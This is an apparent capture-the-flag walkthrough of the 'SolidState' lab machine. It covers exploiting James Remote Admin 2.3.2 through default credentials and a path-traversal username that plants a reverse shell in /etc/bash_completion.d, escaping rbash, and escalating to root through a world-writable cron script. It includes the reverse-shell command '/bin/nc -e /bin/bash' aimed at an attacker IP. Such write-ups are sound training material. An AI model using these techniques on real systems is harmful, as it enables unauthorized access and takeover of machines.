search

SolidState

hashtag
Reconnaissance:

NMAP: 

┌──(kali💀kali)-[~]
└─$ sudo nmap -sC -sV -O 10.10.10.51 

22/tcp  open  ssh     OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
|   256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
|_  256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)

25/tcp  open  smtp    JAMES smtpd 2.3.2
|_smtp-commands: solidstate Hello 10.10.10.51 (10.10.16.4 [10.10.16.4])

80/tcp  open  http    Apache httpd 2.4.25 ((Debian))
|_http-title: Home - Solid State Security
|_http-server-header: Apache/2.4.25 (Debian)

110/tcp open  pop3    JAMES pop3d 2.3.2

119/tcp open  nntp    JAMES nntpd (posting ok)

No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=1/1%OT=22%CT=1%CU=33189%PV=Y%DS=2%DC=I%G=Y%TM=65926
OS:41A%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10A%TI=Z%CI=I%II=I%TS=8)S
OS:EQ(SP=106%GCD=1%ISR=10B%TI=Z%CI=I%II=I%TS=8)OPS(O1=M53AST11NW7%O2=M53AST
OS:11NW7%O3=M53ANNT11NW7%O4=M53AST11NW7%O5=M53AST11NW7%O6=M53AST11)WIN(W1=7
OS:120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M
OS:53ANNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T
OS:4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+
OS:%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y
OS:%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%
OS:RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

hashtag
Enumeration: SSH - TCP 22

The OpenSSH version that is running on port 22 is not associated with any critical vulnerabilities, so it’s unlikely that we gain initial access through this port, unless we find credentials.

hashtag
Enumeration: HTTP - TCP 80

http://10.10.10.51/arrow-up-right

view-source:http://10.10.10.51/index.html

webadmin@solid-state-security.com

http://10.10.10.51/assets/arrow-up-right

http://10.10.10.51/README.txtarrow-up-right aj@lkn.io | @ajlkn

http://10.10.10.51/LICENSE.txtarrow-up-right

Nothing useful, so let’s move on to enumerating port 4555.

hashtag
Enumeration: JAMES Remote Admin 2.3.2 - TCP 4555

Run searchsploit on the software name and version.

Jackpot! Transfer the exploit to our current directory.

You should never run scripts that you haven’t reviewed first, so let’s view the content of this exploit.

After reviewing the script, I made a few notes:

  1. This is an authenticated exploit, so we need credentials. The exploit uses the default credentials root/root that are probably shipped with the software. We’ll have to connect to the server to find out if these credentials are valid before we run this exploit.

  2. When running the exploit we have to pass the IP address as an argument. The script by default connects to port 4555 which is good since our server is running on that port.

  3. The script first creates a user with username “../../../../../../../../etc/bash_completion.d” and password “exploit”. It then connects to the SMTP server and sends that user a payload. Right off the bat, this doesn’t make much sense, so we’ll have to research the vulnerability.

After a bit of research we find that the vulnerability is in the adduser functionality. When a new user is added, the server creates a new subdirectory to store incoming and outgoing emails for that user. However, the username field is not properly validated. Therefore, when we’re creating a user with the username “../../../../../../../../etc/bash_completion.d”, any mail that gets sent to that user will be stored in that directory path. Why is that dangerous? Long story short, anything under the directory /etc/bash_completion.d is automatically loaded by Bash for all users! To learn more about bash completion scripts, refer to this article. https://iridakos.com/programming/2018/03/01/bash-programmable-completion-tutorial

Therefore, if we create a user with a username that leads to the /etc/bash_completion.d directory, when we send an email to that user, our email gets saved in the bash_completion.d directory and the content of our email is automatically loaded by Bash when any user logs into the machine. So if we include a reverse shell in the email, all we have to do is wait for a single user to log in and we have access to the machine!

hashtag
Shell as mindy

First, let’s test the root/root credentials on the James Remote Admin server.

It works, good! List the available commands using the HELP command.

Use the listusers command to display existing accounts.

We have 5 accounts. Since this is an admin account, we can set a user’s password and then access their account. If this was a real penetration test, you probably don’t want to do that. You’ll raise a lot of red flags when a bunch of users no longer can access their accounts. However, since this is a practice environment, I’m going to go all out. Let’s start by changing the mailadmin user’s account.

Now that we reset the password for the mailadmin account, let’s access his email using telnet.

He does not have any mail. Next, I’m going to reset the passwords of all the other accounts.

James, Thomas and John didn’t have any emails too. Mindy on the other hand had two emails stored in her account.

The first email was useless but the second email gives us SSH credentials! Let’s SSH into Mindy’s account.

We’re in! However, we seem to be in a restricted bash shell (rbash). A restricted shell is a shell that restricts a user by blocking/restricting some of the commands. That’s why the “whoami” command didn’t work for us. The “ls” and “cat” commands work, so we can at least view the user.txt flag.

There are several things you can do to try and break out of a restricted shell. I tried a bunch of them, but nothing worked. I’m not even allowed to change directories!

rbash Escape

The first thing I try when facing SSH into rbash is adding -t bash to the SSH connection command. This will run bash on connect instead of the assigned shell. It works here (though it does produce a busted prompt), and I an now run id and cd:

Manual Exploitation

Seeing what the script does, I’ll try this manually with nc and telnet. First, create a user:

Now, I’ll send that user an email with a reverse shell, connecting to SMTP on 25:

This creates a file in /etc/bash_completion.d that contains my reverse shell. So the next time any user logs in, I’ll get a shell as that user. It is important to add the ' at the start of the first header, MAIL FROM. Then I close that ' just before my payload. Later, when this file is run by bash, that will lump all those lines into one broken command, which will fail and continue. Without the ', there are lines that will crash and break the script before the reverse shell can run.

I had to play with payloads to get this working, and I’ll explore this a bit in Beyond Root. I did find when doing things manually, /bin/nc -e /bin/bash 10.10.14.47 443 worked, where as others didn’t. When using the Python script, several payloads worked. That seems to have to do with the way the Python script can add \r.

Trigger -> Shell

Now I can SSH as mindy, and trigger the code. There are new rbash errors from the exploit, and then the terminal just hangs:

You can see in the error that it’s trying to run everything from 0xdf@10.10.14.47 to the FROM: 0xdf@10.10.14.47 as one command, due to the added '. At my nc listener, I got a shell:

hashtag
Priv: mindy –> root

Let’s transfer the LinPeas script from our attack machine to the target machine. In the attack machine, start up a server in the same directory that the script resides in.

In the target machine, move to the /tmp directory where we have write privileges and download the LinPeas script.

We don’t get anything useful. Next, let’s try pspy. If you don’t have the script, you can download it from the following github repository.

LogoGitHub - DominicBreuker/pspy: Monitor linux processes without root permissionsGitHubchevron-right

We know that the system is a 32 bit system so make sure you run pspy32. Upload it and run it on the attack machine in the same way

After a minute we see an interesting process pop up.

If you view the permissions on the /opt/tmp.py file, you’ll see that everyone has read/write/execute privileges on it.

Therefore all we need to do is change the content of the file to send a reverse shell to our attack machine and then we simply wait for the cron job to send a privileged shell back.

Change the content of the file to send a reverse shell to our attack machine.

Set up a listener to receive the reverse shell.

Wait a minute for the cron job to run.

PreviousSenseNextNode

Last updated